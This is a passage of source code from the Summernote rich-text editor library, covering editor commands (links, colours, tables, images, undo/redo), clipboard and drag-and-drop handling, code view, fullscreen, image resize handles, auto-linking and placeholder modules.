                linkUrl = /^[A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?/.test(linkUrl)
                    ? linkUrl : 'http://' + linkUrl;
            }
            var anchors = [];
            if (isTextChanged) {
                rng = rng.deleteContents();
                var anchor = rng.insertNode($$1('<A>' + linkText + '</A>')[0]);
                anchors.push(anchor);
            }
            else {
                anchors = _this.style.styleNodes(rng, {
                    nodeName: 'A',
                    expandClosestSibling: true,
                    onlyPartialContains: true
                });
            }
            $$1.each(anchors, function (idx, anchor) {
                $$1(anchor).attr('href', linkUrl);
                if (isNewWindow) {
                    $$1(anchor).attr('target', '_blank');
                }
                else {
                    $$1(anchor).removeAttr('target');
                }
            });
            var startRange = range.createFromNodeBefore(lists.head(anchors));
            var startPoint = startRange.getStartPoint();
            var endRange = range.createFromNodeAfter(lists.last(anchors));
            var endPoint = endRange.getEndPoint();
            range.create(startPoint.node, startPoint.offset, endPoint.node, endPoint.offset).select();
        });
        /**
         * setting color
         *
         * @param {Object} sObjColor  color code
         * @param {String} sObjColor.foreColor foreground color
         * @param {String} sObjColor.backColor background color
         */
        this.color = this.wrapCommand(function (colorInfo) {
            var foreColor = colorInfo.foreColor;
            var backColor = colorInfo.backColor;
            if (foreColor) {
                document.execCommand('foreColor', false, foreColor);
            }
            if (backColor) {
                document.execCommand('backColor', false, backColor);
            }
        });
        /**
         * Set foreground color
         *
         * @param {String} colorCode foreground color code
         */
        this.foreColor = this.wrapCommand(function (colorInfo) {
            document.execCommand('styleWithCSS', false, true);
            document.execCommand('foreColor', false, colorInfo);
        });
        /**
         * insert Table
         *
         * @param {String} dimension of table (ex : "5x5")
         */
        this.insertTable = this.wrapCommand(function (dim) {
            var dimension = dim.split('x');
            var rng = _this.createRange().deleteContents();
            rng.insertNode(_this.table.createTable(dimension[0], dimension[1], _this.options));
        });
        /**
         * remove media object and Figure Elements if media object is img with Figure.
         */
        this.removeMedia = this.wrapCommand(function () {
            var $target = $$1(_this.restoreTarget()).parent();
            if ($target.parent('figure').length) {
                $target.parent('figure').remove();
            }
            else {
                $target = $$1(_this.restoreTarget()).detach();
            }
            _this.context.triggerEvent('media.delete', $target, _this.$editable);
        });
        /**
         * float me
         *
         * @param {String} value
         */
        this.floatMe = this.wrapCommand(function (value) {
            var $target = $$1(_this.restoreTarget());
            $target.toggleClass('note-float-left', value === 'left');
            $target.toggleClass('note-float-right', value === 'right');
            $target.css('float', value);
        });
        /**
         * resize overlay element
         * @param {String} value
         */
        this.resize = this.wrapCommand(function (value) {
            var $target = $$1(_this.restoreTarget());
            $target.css({
                width: value * 100 + '%',
                height: ''
            });
        });
    }
    Editor.prototype.initialize = function () {
        var _this = this;
        // bind custom events
        this.$editable.on('keydown', function (event) {
            if (event.keyCode === key.code.ENTER) {
                _this.context.triggerEvent('enter', event);
            }
            _this.context.triggerEvent('keydown', event);
            if (!event.isDefaultPrevented()) {
                if (_this.options.shortcuts) {
                    _this.handleKeyMap(event);
                }
                else {
                    _this.preventDefaultEditableShortCuts(event);
                }
            }
            if (_this.isLimited(1, event)) {
                return false;
            }
        }).on('keyup', function (event) {
            _this.context.triggerEvent('keyup', event);
        }).on('focus', function (event) {
            _this.context.triggerEvent('focus', event);
        }).on('blur', function (event) {
            _this.context.triggerEvent('blur', event);
        }).on('mousedown', function (event) {
            _this.context.triggerEvent('mousedown', event);
        }).on('mouseup', function (event) {
            _this.context.triggerEvent('mouseup', event);
        }).on('scroll', function (event) {
            _this.context.triggerEvent('scroll', event);
        }).on('paste', function (event) {
            _this.context.triggerEvent('paste', event);
        });
        // init content before set event
        this.$editable.html(dom.html(this.$note) || dom.emptyPara);
        this.$editable.on(env.inputEventName, func.debounce(function () {
            _this.context.triggerEvent('change', _this.$editable.html());
        }, 100));
        this.$editor.on('focusin', function (event) {
            _this.context.triggerEvent('focusin', event);
        }).on('focusout', function (event) {
            _this.context.triggerEvent('focusout', event);
        });
        if (!this.options.airMode) {
            if (this.options.width) {
                this.$editor.outerWidth(this.options.width);
            }
            if (this.options.height) {
                this.$editable.outerHeight(this.options.height);
            }
            if (this.options.maxHeight) {
                this.$editable.css('max-height', this.options.maxHeight);
            }
            if (this.options.minHeight) {
                this.$editable.css('min-height', this.options.minHeight);
            }
        }
        this.history.recordUndo();
    };
    Editor.prototype.destroy = function () {
        this.$editable.off();
    };
    Editor.prototype.handleKeyMap = function (event) {
        var keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc'];
        var keys = [];
        if (event.metaKey) {
            keys.push('CMD');
        }
        if (event.ctrlKey && !event.altKey) {
            keys.push('CTRL');
        }
        if (event.shiftKey) {
            keys.push('SHIFT');
        }
        var keyName = key.nameFromCode[event.keyCode];
        if (keyName) {
            keys.push(keyName);
        }
        var eventName = keyMap[keys.join('+')];
        if (eventName) {
            if (this.context.invoke(eventName) !== false) {
                event.preventDefault();
            }
        }
        else if (key.isEdit(event.keyCode)) {
            this.afterCommand();
        }
    };
    Editor.prototype.preventDefaultEditableShortCuts = function (event) {
        // B(Bold, 66) / I(Italic, 73) / U(Underline, 85)
        if ((event.ctrlKey || event.metaKey) &&
            lists.contains([66, 73, 85], event.keyCode)) {
            event.preventDefault();
        }
    };
    Editor.prototype.isLimited = function (pad, event) {
        pad = pad || 0;
        if (typeof event !== 'undefined') {
            if (key.isMove(event.keyCode) ||
                (event.ctrlKey || event.metaKey) ||
                lists.contains([key.code.BACKSPACE, key.code.DELETE], event.keyCode)) {
                return false;
            }
        }
        if (this.options.maxTextLength > 0) {
            if ((this.$editable.text().length + pad) >= this.options.maxTextLength) {
                return true;
            }
        }
        return false;
    };
    /**
     * create range
     * @return {WrappedRange}
     */
    Editor.prototype.createRange = function () {
        this.focus();
        return range.create(this.editable);
    };
    /**
     * saveRange
     *
     * save current range
     *
     * @param {Boolean} [thenCollapse=false]
     */
    Editor.prototype.saveRange = function (thenCollapse) {
        this.lastRange = this.createRange();
        if (thenCollapse) {
            this.lastRange.collapse().select();
        }
    };
    /**
     * restoreRange
     *
     * restore lately range
     */
    Editor.prototype.restoreRange = function () {
        if (this.lastRange) {
            this.lastRange.select();
            this.focus();
        }
    };
    Editor.prototype.saveTarget = function (node) {
        this.$editable.data('target', node);
    };
    Editor.prototype.clearTarget = function () {
        this.$editable.removeData('target');
    };
    Editor.prototype.restoreTarget = function () {
        return this.$editable.data('target');
    };
    /**
     * currentStyle
     *
     * current style
     * @return {Object|Boolean} unfocus
     */
    Editor.prototype.currentStyle = function () {
        var rng = range.create();
        if (rng) {
            rng = rng.normalize();
        }
        return rng ? this.style.current(rng) : this.style.fromNode(this.$editable);
    };
    /**
     * style from node
     *
     * @param {jQuery} $node
     * @return {Object}
     */
    Editor.prototype.styleFromNode = function ($node) {
        return this.style.fromNode($node);
    };
    /**
     * undo
     */
    Editor.prototype.undo = function () {
        this.context.triggerEvent('before.command', this.$editable.html());
        this.history.undo();
        this.context.triggerEvent('change', this.$editable.html());
    };
    /**
     * redo
     */
    Editor.prototype.redo = function () {
        this.context.triggerEvent('before.command', this.$editable.html());
        this.history.redo();
        this.context.triggerEvent('change', this.$editable.html());
    };
    /**
     * before command
     */
    Editor.prototype.beforeCommand = function () {
        this.context.triggerEvent('before.command', this.$editable.html());
        // keep focus on editable before command execution
        this.focus();
    };
    /**
     * after command
     * @param {Boolean} isPreventTrigger
     */
    Editor.prototype.afterCommand = function (isPreventTrigger) {
        this.normalizeContent();
        this.history.recordUndo();
        if (!isPreventTrigger) {
            this.context.triggerEvent('change', this.$editable.html());
        }
    };
    /**
     * handle tab key
     */
    Editor.prototype.tab = function () {
        var rng = this.createRange();
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.table.tab(rng);
        }
        else {
            if (this.options.tabSize === 0) {
                return false;
            }
            if (!this.isLimited(this.options.tabSize)) {
                this.beforeCommand();
                this.typing.insertTab(rng, this.options.tabSize);
                this.afterCommand();
            }
        }
    };
    /**
     * handle shift+tab key
     */
    Editor.prototype.untab = function () {
        var rng = this.createRange();
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.table.tab(rng, true);
        }
        else {
            if (this.options.tabSize === 0) {
                return false;
            }
        }
    };
    /**
     * run given function between beforeCommand and afterCommand
     */
    Editor.prototype.wrapCommand = function (fn) {
        var _this = this;
        return function () {
            _this.beforeCommand();
            fn.apply(_this, arguments);
            _this.afterCommand();
        };
    };
    /**
     * insert image
     *
     * @param {String} src
     * @param {String|Function} param
     * @return {Promise}
     */
    Editor.prototype.insertImage = function (src, param) {
        var _this = this;
        return createImage(src, param).then(function ($image) {
            _this.beforeCommand();
            if (typeof param === 'function') {
                param($image);
            }
            else {
                if (typeof param === 'string') {
                    $image.attr('data-filename', param);
                }
                $image.css('width', Math.min(_this.$editable.width(), $image.width()));
            }
            $image.show();
            range.create(_this.editable).insertNode($image[0]);
            range.createFromNodeAfter($image[0]).select();
            _this.afterCommand();
        }).fail(function (e) {
            _this.context.triggerEvent('image.upload.error', e);
        });
    };
    /**
     * insertImages
     * @param {File[]} files
     */
    Editor.prototype.insertImages = function (files) {
        var _this = this;
        $$1.each(files, function (idx, file) {
            var filename = file.name;
            if (_this.options.maximumImageFileSize && _this.options.maximumImageFileSize < file.size) {
                _this.context.triggerEvent('image.upload.error', _this.lang.image.maximumFileSizeError);
            }
            else {
                readFileAsDataURL(file).then(function (dataURL) {
                    return _this.insertImage(dataURL, filename);
                }).fail(function () {
                    _this.context.triggerEvent('image.upload.error');
                });
            }
        });
    };
    /**
     * insertImagesOrCallback
     * @param {File[]} files
     */
    Editor.prototype.insertImagesOrCallback = function (files) {
        var callbacks = this.options.callbacks;
        // If onImageUpload this.options setted
        if (callbacks.onImageUpload) {
            this.context.triggerEvent('image.upload', files);
            // else insert Image as dataURL
        }
        else {
            this.insertImages(files);
        }
    };
    /**
     * return selected plain text
     * @return {String} text
     */
    Editor.prototype.getSelectedText = function () {
        var rng = this.createRange();
        // if range on anchor, expand range with anchor
        if (rng.isOnAnchor()) {
            rng = range.createFromNode(dom.ancestor(rng.sc, dom.isAnchor));
        }
        return rng.toString();
    };
    Editor.prototype.onFormatBlock = function (tagName, $target) {
        // [workaround] for MSIE, IE need `<`
        tagName = env.isMSIE ? '<' + tagName + '>' : tagName;
        document.execCommand('FormatBlock', false, tagName);
        // support custom class
        if ($target && $target.length) {
            var className = $target[0].className || '';
            if (className) {
                var currentRange = this.createRange();
                var $parent = $$1([currentRange.sc, currentRange.ec]).closest(tagName);
                $parent.addClass(className);
            }
        }
    };
    Editor.prototype.formatPara = function () {
        this.formatBlock('P');
    };
    Editor.prototype.fontStyling = function (target, value) {
        var rng = this.createRange();
        if (rng) {
            var spans = this.style.styleNodes(rng);
            $$1(spans).css(target, value);
            // [workaround] added styled bogus span for style
            //  - also bogus character needed for cursor position
            if (rng.isCollapsed()) {
                var firstSpan = lists.head(spans);
                if (firstSpan && !dom.nodeLength(firstSpan)) {
                    firstSpan.innerHTML = dom.ZERO_WIDTH_NBSP_CHAR;
                    range.createFromNodeAfter(firstSpan.firstChild).select();
                    this.$editable.data(KEY_BOGUS, firstSpan);
                }
            }
        }
    };
    /**
     * unlink
     *
     * @type command
     */
    Editor.prototype.unlink = function () {
        var rng = this.createRange();
        if (rng.isOnAnchor()) {
            var anchor = dom.ancestor(rng.sc, dom.isAnchor);
            rng = range.createFromNode(anchor);
            rng.select();
            this.beforeCommand();
            document.execCommand('unlink');
            this.afterCommand();
        }
    };
    /**
     * returns link info
     *
     * @return {Object}
     * @return {WrappedRange} return.range
     * @return {String} return.text
     * @return {Boolean} [return.isNewWindow=true]
     * @return {String} [return.url=""]
     */
    Editor.prototype.getLinkInfo = function () {
        var rng = this.createRange().expand(dom.isAnchor);
        // Get the first anchor on range(for edit).
        var $anchor = $$1(lists.head(rng.nodes(dom.isAnchor)));
        var linkInfo = {
            range: rng,
            text: rng.toString(),
            url: $anchor.length ? $anchor.attr('href') : ''
        };
        // Define isNewWindow when anchor exists.
        if ($anchor.length) {
            linkInfo.isNewWindow = $anchor.attr('target') === '_blank';
        }
        return linkInfo;
    };
    Editor.prototype.addRow = function (position) {
        var rng = this.createRange(this.$editable);
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.beforeCommand();
            this.table.addRow(rng, position);
            this.afterCommand();
        }
    };
    Editor.prototype.addCol = function (position) {
        var rng = this.createRange(this.$editable);
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.beforeCommand();
            this.table.addCol(rng, position);
            this.afterCommand();
        }
    };
    Editor.prototype.deleteRow = function () {
        var rng = this.createRange(this.$editable);
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.beforeCommand();
            this.table.deleteRow(rng);
            this.afterCommand();
        }
    };
    Editor.prototype.deleteCol = function () {
        var rng = this.createRange(this.$editable);
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.beforeCommand();
            this.table.deleteCol(rng);
            this.afterCommand();
        }
    };
    Editor.prototype.deleteTable = function () {
        var rng = this.createRange(this.$editable);
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.beforeCommand();
            this.table.deleteTable(rng);
            this.afterCommand();
        }
    };
    /**
     * @param {Position} pos
     * @param {jQuery} $target - target element
     * @param {Boolean} [bKeepRatio] - keep ratio
     */
    Editor.prototype.resizeTo = function (pos, $target, bKeepRatio) {
        var imageSize;
        if (bKeepRatio) {
            var newRatio = pos.y / pos.x;
            var ratio = $target.data('ratio');
            imageSize = {
                width: ratio > newRatio ? pos.x : pos.y / ratio,
                height: ratio > newRatio ? pos.x * ratio : pos.y
            };
        }
        else {
            imageSize = {
                width: pos.x,
                height: pos.y
            };
        }
        $target.css(imageSize);
    };
    /**
     * returns whether editable area has focus or not.
     */
    Editor.prototype.hasFocus = function () {
        return this.$editable.is(':focus');
    };
    /**
     * set focus
     */
    Editor.prototype.focus = function () {
        // [workaround] Screen will move when page is scolled in IE.
        //  - do focus when not focused
        if (!this.hasFocus()) {
            this.$editable.focus();
        }
    };
    /**
     * returns whether contents is empty or not.
     * @return {Boolean}
     */
    Editor.prototype.isEmpty = function () {
        return dom.isEmpty(this.$editable[0]) || dom.emptyPara === this.$editable.html();
    };
    /**
     * Removes all contents and restores the editable instance to an _emptyPara_.
     */
    Editor.prototype.empty = function () {
        this.context.invoke('code', dom.emptyPara);
    };
    /**
     * normalize content
     */
    Editor.prototype.normalizeContent = function () {
        this.$editable[0].normalize();
    };
    return Editor;
}());

var Clipboard = /** @class */ (function () {
    function Clipboard(context) {
        this.context = context;
        this.$editable = context.layoutInfo.editable;
    }
    Clipboard.prototype.initialize = function () {
        this.$editable.on('paste', this.pasteByEvent.bind(this));
    };
    /**
     * paste by clipboard event
     *
     * @param {Event} event
     */
    Clipboard.prototype.pasteByEvent = function (event) {
        var clipboardData = event.originalEvent.clipboardData;
        if (clipboardData && clipboardData.items && clipboardData.items.length) {
            var item = lists.head(clipboardData.items);
            if (item.kind === 'file' && item.type.indexOf('image/') !== -1) {
                this.context.invoke('editor.insertImagesOrCallback', [item.getAsFile()]);
            }
            this.context.invoke('editor.afterCommand');
        }
    };
    return Clipboard;
}());

var Dropzone = /** @class */ (function () {
    function Dropzone(context) {
        this.context = context;
        this.$eventListener = $$1(document);
        this.$editor = context.layoutInfo.editor;
        this.$editable = context.layoutInfo.editable;
        this.options = context.options;
        this.lang = this.options.langInfo;
        this.documentEventHandlers = {};
        this.$dropzone = $$1([
            '<div class="note-dropzone">',
            '  <div class="note-dropzone-message"/>',
            '</div>'
        ].join('')).prependTo(this.$editor);
    }
    /**
     * attach Drag and Drop Events
     */
    Dropzone.prototype.initialize = function () {
        if (this.options.disableDragAndDrop) {
            // prevent default drop event
            this.documentEventHandlers.onDrop = function (e) {
                e.preventDefault();
            };
            // do not consider outside of dropzone
            this.$eventListener = this.$dropzone;
            this.$eventListener.on('drop', this.documentEventHandlers.onDrop);
        }
        else {
            this.attachDragAndDropEvent();
        }
    };
    /**
     * attach Drag and Drop Events
     */
    Dropzone.prototype.attachDragAndDropEvent = function () {
        var _this = this;
        var collection = $$1();
        var $dropzoneMessage = this.$dropzone.find('.note-dropzone-message');
        this.documentEventHandlers.onDragenter = function (e) {
            var isCodeview = _this.context.invoke('codeview.isActivated');
            var hasEditorSize = _this.$editor.width() > 0 && _this.$editor.height() > 0;
            if (!isCodeview && !collection.length && hasEditorSize) {
                _this.$editor.addClass('dragover');
                _this.$dropzone.width(_this.$editor.width());
                _this.$dropzone.height(_this.$editor.height());
                $dropzoneMessage.text(_this.lang.image.dragImageHere);
            }
            collection = collection.add(e.target);
        };
        this.documentEventHandlers.onDragleave = function (e) {
            collection = collection.not(e.target);
            if (!collection.length) {
                _this.$editor.removeClass('dragover');
            }
        };
        this.documentEventHandlers.onDrop = function () {
            collection = $$1();
            _this.$editor.removeClass('dragover');
        };
        // show dropzone on dragenter when dragging a object to document
        // -but only if the editor is visible, i.e. has a positive width and height
        this.$eventListener.on('dragenter', this.documentEventHandlers.onDragenter)
            .on('dragleave', this.documentEventHandlers.onDragleave)
            .on('drop', this.documentEventHandlers.onDrop);
        // change dropzone's message on hover.
        this.$dropzone.on('dragenter', function () {
            _this.$dropzone.addClass('hover');
            $dropzoneMessage.text(_this.lang.image.dropImage);
        }).on('dragleave', function () {
            _this.$dropzone.removeClass('hover');
            $dropzoneMessage.text(_this.lang.image.dragImageHere);
        });
        // attach dropImage
        this.$dropzone.on('drop', function (event) {
            var dataTransfer = event.originalEvent.dataTransfer;
            // stop the browser from opening the dropped content
            event.preventDefault();
            if (dataTransfer && dataTransfer.files && dataTransfer.files.length) {
                _this.$editable.focus();
                _this.context.invoke('editor.insertImagesOrCallback', dataTransfer.files);
            }
            else {
                $$1.each(dataTransfer.types, function (idx, type) {
                    var content = dataTransfer.getData(type);
                    if (type.toLowerCase().indexOf('text') > -1) {
                        _this.context.invoke('editor.pasteHTML', content);
                    }
                    else {
                        $$1(content).each(function (idx, item) {
                            _this.context.invoke('editor.insertNode', item);
                        });
                    }
                });
            }
        }).on('dragover', false); // prevent default dragover event
    };
    Dropzone.prototype.destroy = function () {
        var _this = this;
        Object.keys(this.documentEventHandlers).forEach(function (key) {
            _this.$eventListener.off(key.substr(2).toLowerCase(), _this.documentEventHandlers[key]);
        });
        this.documentEventHandlers = {};
    };
    return Dropzone;
}());

var CodeMirror;
if (env.hasCodeMirror) {
    if (env.isSupportAmd) {
        require(['codemirror'], function (cm) {
            CodeMirror = cm;
        });
    }
    else {
        CodeMirror = window.CodeMirror;
    }
}
/**
 * @class Codeview
 */
var CodeView = /** @class */ (function () {
    function CodeView(context) {
        this.context = context;
        this.$editor = context.layoutInfo.editor;
        this.$editable = context.layoutInfo.editable;
        this.$codable = context.layoutInfo.codable;
        this.options = context.options;
    }
    CodeView.prototype.sync = function () {
        var isCodeview = this.isActivated();
        if (isCodeview && env.hasCodeMirror) {
            this.$codable.data('cmEditor').save();
        }
    };
    /**
     * @return {Boolean}
     */
    CodeView.prototype.isActivated = function () {
        return this.$editor.hasClass('codeview');
    };
    /**
     * toggle codeview
     */
    CodeView.prototype.toggle = function () {
        if (this.isActivated()) {
            this.deactivate();
        }
        else {
            this.activate();
        }
        this.context.triggerEvent('codeview.toggled');
    };
    /**
     * activate code view
     */
    CodeView.prototype.activate = function () {
        var _this = this;
        this.$codable.val(dom.html(this.$editable, this.options.prettifyHtml));
        this.$codable.height(this.$editable.height());
        this.context.invoke('toolbar.updateCodeview', true);
        this.$editor.addClass('codeview');
        this.$codable.focus();
        // activate CodeMirror as codable
        if (env.hasCodeMirror) {
            var cmEditor_1 = CodeMirror.fromTextArea(this.$codable[0], this.options.codemirror);
            // CodeMirror TernServer
            if (this.options.codemirror.tern) {
                var server_1 = new CodeMirror.TernServer(this.options.codemirror.tern);
                cmEditor_1.ternServer = server_1;
                cmEditor_1.on('cursorActivity', function (cm) {
                    server_1.updateArgHints(cm);
                });
            }
            cmEditor_1.on('blur', function (event) {
                _this.context.triggerEvent('blur.codeview', cmEditor_1.getValue(), event);
            });
            // CodeMirror hasn't Padding.
            cmEditor_1.setSize(null, this.$editable.outerHeight());
            this.$codable.data('cmEditor', cmEditor_1);
        }
        else {
            this.$codable.on('blur', function (event) {
                _this.context.triggerEvent('blur.codeview', _this.$codable.val(), event);
            });
        }
    };
    /**
     * deactivate code view
     */
    CodeView.prototype.deactivate = function () {
        // deactivate CodeMirror as codable
        if (env.hasCodeMirror) {
            var cmEditor = this.$codable.data('cmEditor');
            this.$codable.val(cmEditor.getValue());
            cmEditor.toTextArea();
        }
        var value = dom.value(this.$codable, this.options.prettifyHtml) || dom.emptyPara;
        var isChange = this.$editable.html() !== value;
        this.$editable.html(value);
        this.$editable.height(this.options.height ? this.$codable.height() : 'auto');
        this.$editor.removeClass('codeview');
        if (isChange) {
            this.context.triggerEvent('change', this.$editable.html(), this.$editable);
        }
        this.$editable.focus();
        this.context.invoke('toolbar.updateCodeview', false);
    };
    CodeView.prototype.destroy = function () {
        if (this.isActivated()) {
            this.deactivate();
        }
    };
    return CodeView;
}());

var EDITABLE_PADDING = 24;
var Statusbar = /** @class */ (function () {
    function Statusbar(context) {
        this.$document = $$1(document);
        this.$statusbar = context.layoutInfo.statusbar;
        this.$editable = context.layoutInfo.editable;
        this.options = context.options;
    }
    Statusbar.prototype.initialize = function () {
        var _this = this;
        if (this.options.airMode || this.options.disableResizeEditor) {
            this.destroy();
            return;
        }
        this.$statusbar.on('mousedown', function (event) {
            event.preventDefault();
            event.stopPropagation();
            var editableTop = _this.$editable.offset().top - _this.$document.scrollTop();
            var onMouseMove = function (event) {
                var height = event.clientY - (editableTop + EDITABLE_PADDING);
                height = (_this.options.minheight > 0) ? Math.max(height, _this.options.minheight) : height;
                height = (_this.options.maxHeight > 0) ? Math.min(height, _this.options.maxHeight) : height;
                _this.$editable.height(height);
            };
            _this.$document.on('mousemove', onMouseMove).one('mouseup', function () {
                _this.$document.off('mousemove', onMouseMove);
            });
        });
    };
    Statusbar.prototype.destroy = function () {
        this.$statusbar.off();
        this.$statusbar.addClass('locked');
    };
    return Statusbar;
}());

var Fullscreen = /** @class */ (function () {
    function Fullscreen(context) {
        var _this = this;
        this.context = context;
        this.$editor = context.layoutInfo.editor;
        this.$toolbar = context.layoutInfo.toolbar;
        this.$editable = context.layoutInfo.editable;
        this.$codable = context.layoutInfo.codable;
        this.$window = $$1(window);
        this.$scrollbar = $$1('html, body');
        this.onResize = function () {
            _this.resizeTo({
                h: _this.$window.height() - _this.$toolbar.outerHeight()
            });
        };
    }
    Fullscreen.prototype.resizeTo = function (size) {
        this.$editable.css('height', size.h);
        this.$codable.css('height', size.h);
        if (this.$codable.data('cmeditor')) {
            this.$codable.data('cmeditor').setsize(null, size.h);
        }
    };
    /**
     * toggle fullscreen
     */
    Fullscreen.prototype.toggle = function () {
        this.$editor.toggleClass('fullscreen');
        if (this.isFullscreen()) {
            this.$editable.data('orgHeight', this.$editable.css('height'));
            this.$window.on('resize', this.onResize).trigger('resize');
            this.$scrollbar.css('overflow', 'hidden');
        }
        else {
            this.$window.off('resize', this.onResize);
            this.resizeTo({ h: this.$editable.data('orgHeight') });
            this.$scrollbar.css('overflow', 'visible');
        }
        this.context.invoke('toolbar.updateFullscreen', this.isFullscreen());
    };
    Fullscreen.prototype.isFullscreen = function () {
        return this.$editor.hasClass('fullscreen');
    };
    return Fullscreen;
}());

var Handle = /** @class */ (function () {
    function Handle(context) {
        var _this = this;
        this.context = context;
        this.$document = $$1(document);
        this.$editingArea = context.layoutInfo.editingArea;
        this.options = context.options;
        this.lang = this.options.langInfo;
        this.events = {
            'summernote.mousedown': function (we, e) {
                if (_this.update(e.target)) {
                    e.preventDefault();
                }
            },
            'summernote.keyup summernote.scroll summernote.change summernote.dialog.shown': function () {
                _this.update();
            },
            'summernote.disable': function () {
                _this.hide();
            },
            'summernote.codeview.toggled': function () {
                _this.update();
            }
        };
    }
    Handle.prototype.initialize = function () {
        var _this = this;
        this.$handle = $$1([
            '<div class="note-handle">',
            '<div class="note-control-selection">',
            '<div class="note-control-selection-bg"></div>',
            '<div class="note-control-holder note-control-nw"></div>',
            '<div class="note-control-holder note-control-ne"></div>',
            '<div class="note-control-holder note-control-sw"></div>',
            '<div class="',
            (this.options.disableResizeImage ? 'note-control-holder' : 'note-control-sizing'),
            ' note-control-se"></div>',
            (this.options.disableResizeImage ? '' : '<div class="note-control-selection-info"></div>'),
            '</div>',
            '</div>'
        ].join('')).prependTo(this.$editingArea);
        this.$handle.on('mousedown', function (event) {
            if (dom.isControlSizing(event.target)) {
                event.preventDefault();
                event.stopPropagation();
                var $target_1 = _this.$handle.find('.note-control-selection').data('target');
                var posStart_1 = $target_1.offset();
                var scrollTop_1 = _this.$document.scrollTop();
                var onMouseMove_1 = function (event) {
                    _this.context.invoke('editor.resizeTo', {
                        x: event.clientX - posStart_1.left,
                        y: event.clientY - (posStart_1.top - scrollTop_1)
                    }, $target_1, !event.shiftKey);
                    _this.update($target_1[0]);
                };
                _this.$document
                    .on('mousemove', onMouseMove_1)
                    .one('mouseup', function (e) {
                    e.preventDefault();
                    _this.$document.off('mousemove', onMouseMove_1);
                    _this.context.invoke('editor.afterCommand');
                });
                if (!$target_1.data('ratio')) {
                    $target_1.data('ratio', $target_1.height() / $target_1.width());
                }
            }
        });
        // Listen for scrolling on the handle overlay.
        this.$handle.on('wheel', function (e) {
            e.preventDefault();
            _this.update();
        });
    };
    Handle.prototype.destroy = function () {
        this.$handle.remove();
    };
    Handle.prototype.update = function (target) {
        if (this.context.isDisabled()) {
            return false;
        }
        var isImage = dom.isImg(target);
        var $selection = this.$handle.find('.note-control-selection');
        this.context.invoke('imagePopover.update', target);
        if (isImage) {
            var $image = $$1(target);
            var position = $image.position();
            var pos = {
                left: position.left + parseInt($image.css('marginLeft'), 10),
                top: position.top + parseInt($image.css('marginTop'), 10)
            };
            // exclude margin
            var imageSize = {
                w: $image.outerWidth(false),
                h: $image.outerHeight(false)
            };
            $selection.css({
                display: 'block',
                left: pos.left,
                top: pos.top,
                width: imageSize.w,
                height: imageSize.h
            }).data('target', $image); // save current image element.
            var origImageObj = new Image();
            origImageObj.src = $image.attr('src');
            var sizingText = imageSize.w + 'x' + imageSize.h + ' (' + this.lang.image.original + ': ' + origImageObj.width + 'x' + origImageObj.height + ')';
            $selection.find('.note-control-selection-info').text(sizingText);
            this.context.invoke('editor.saveTarget', target);
        }
        else {
            this.hide();
        }
        return isImage;
    };
    /**
     * hide
     *
     * @param {jQuery} $handle
     */
    Handle.prototype.hide = function () {
        this.context.invoke('editor.clearTarget');
        this.$handle.children().hide();
    };
    return Handle;
}());

var defaultScheme = 'http://';
var linkPattern = /^([A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?|mailto:[A-Z0-9._%+-]+@)?(www\.)?(.+)$/i;
var AutoLink = /** @class */ (function () {
    function AutoLink(context) {
        var _this = this;
        this.context = context;
        this.events = {
            'summernote.keyup': function (we, e) {
                if (!e.isDefaultPrevented()) {
                    _this.handleKeyup(e);
                }
            },
            'summernote.keydown': function (we, e) {
                _this.handleKeydown(e);
            }
        };
    }
    AutoLink.prototype.initialize = function () {
        this.lastWordRange = null;
    };
    AutoLink.prototype.destroy = function () {
        this.lastWordRange = null;
    };
    AutoLink.prototype.replace = function () {
        if (!this.lastWordRange) {
            return;
        }
        var keyword = this.lastWordRange.toString();
        var match = keyword.match(linkPattern);
        if (match && (match[1] || match[2])) {
            var link = match[1] ? keyword : defaultScheme + keyword;
            var node = $$1('<a />').html(keyword).attr('href', link)[0];
            this.lastWordRange.insertNode(node);
            this.lastWordRange = null;
            this.context.invoke('editor.focus');
        }
    };
    AutoLink.prototype.handleKeydown = function (e) {
        if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) {
            var wordRange = this.context.invoke('editor.createRange').getWordRange();
            this.lastWordRange = wordRange;
        }
    };
    AutoLink.prototype.handleKeyup = function (e) {
        if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) {
            this.replace();
        }
    };
    return AutoLink;
}());

/**
 * textarea auto sync.
 */
var AutoSync = /** @class */ (function () {
    function AutoSync(context) {
        var _this = this;
        this.$note = context.layoutInfo.note;
        this.events = {
            'summernote.change': function () {
                _this.$note.val(context.invoke('code'));
            }
        };
    }
    AutoSync.prototype.shouldInitialize = function () {
        return dom.isTextarea(this.$note[0]);
    };
    return AutoSync;
}());

var Placeholder = /** @class */ (function () {
    function Placeholder(context) {
        var _this = this;
        this.context = context;
        this.$editingArea = context.layoutInfo.editingArea;
        this.options = context.options;
        this.events = {
            'summernote.init summernote.change': function () {
                _this.update();
            },
            'summernote.codeview.toggled': function () {
                _this.update();
            }
        };
    }
    Placeholder.prototype.shouldInitialize = function () {
        return !!this.options.placeholder;
    };
    Placeholder.prototype.initialize = function () {
        var _this = this;
        this.$placeholder = $$1('<div class="note-placeholder">');
        this.$placeholder.on('click', function () {
            _this.context.invoke('focus');
        }).text(this.options.placeholder).prependTo(this.$editingArea);
        this.update();
    };
    Placeholder.prototype.destroy = function () {
        this.$placeholder.remove();
    };
    Placeholder.prototype.update = function () {
        var isShow = !this.context.invoke('codeview.isActivated') && this.context.invoke('editor.isEmpty');
        this.$placeholder.toggle(isShow);
    };
    return Placeholder;
}());

var Buttons = /** @class */ (function () {
    function Buttons(context) {
        this.ui = $$1.summernote.ui;
        this.context = context;
        this.$toolbar = context.layoutInfo.toolbar;
        this.options = context.options;
        this.lang = this.options.langInfo;
        this.invertedKeyMap = func.invertObject(this.options.keyMap[env.isMac ? 'mac' : 'pc']);
    }
    Buttons.prototype.representShortcut = function (editorMethod) {
        var shortcut = this.invertedKeyMap[editorMethod];
        if (!this.options.shortcuts || !shortcut) {
            return '';
        }
        if (env.isMac) {
